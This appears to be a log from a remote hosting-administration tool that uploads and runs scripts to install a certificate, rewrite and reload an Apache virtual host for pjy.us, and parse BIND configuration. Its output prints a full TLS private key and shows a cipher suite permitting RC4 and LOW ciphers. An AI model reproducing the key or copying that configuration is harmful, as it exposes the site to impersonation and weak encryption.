TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-08 10:00:55: 

chmod 755 /tmp/pkp925929; /tmp/pkp925929; rm /tmp/pkp925929

2026-05-08 10:00:55: 


dir=/etc/ssl/certs


2026-05-08 10:00:55: 

PUT: /tmp/pkp549770

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-08 10:00:55: 

chmod 755 /tmp/pkp549770; /tmp/pkp549770; rm /tmp/pkp549770

2026-05-08 10:00:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-08 10:00:55: 

PUT: /tmp/pkp467392

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi


2026-05-08 10:00:55: 

chmod 755 /tmp/pkp467392; /tmp/pkp467392; rm /tmp/pkp467392

2026-05-08 10:00:55: 




2026-05-08 10:00:55: 

PUT: /tmp/pkp384571

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-08 10:00:55: 

chmod 755 /tmp/pkp384571; /tmp/pkp384571; rm /tmp/pkp384571

2026-05-08 10:00:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-08 10:00:55: Establishing a connection
2026-05-08 10:00:56: 

PUT: /tmp/pkp328280

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-08 10:00:56: 

chmod 755 /tmp/pkp328280; /tmp/pkp328280; rm /tmp/pkp328280

2026-05-08 10:00:56: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-08 10:00:56: 

PUT: /tmp/pkp141722

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-08 10:00:56: 

chmod 755 /tmp/pkp141722; /tmp/pkp141722; rm /tmp/pkp141722

2026-05-08 10:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf	1174

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-08 10:00:56: 

PUT: /tmp/pkp159408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-08 10:00:56: 

chmod 755 /tmp/pkp159408; /tmp/pkp159408; rm /tmp/pkp159408

2026-05-08 10:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5333
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-08 14:12:03: Establishing a connection
2026-05-08 14:12:17: Establishing a connection
2026-05-08 14:12:17: 

PUT: /tmp/pkp505745

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
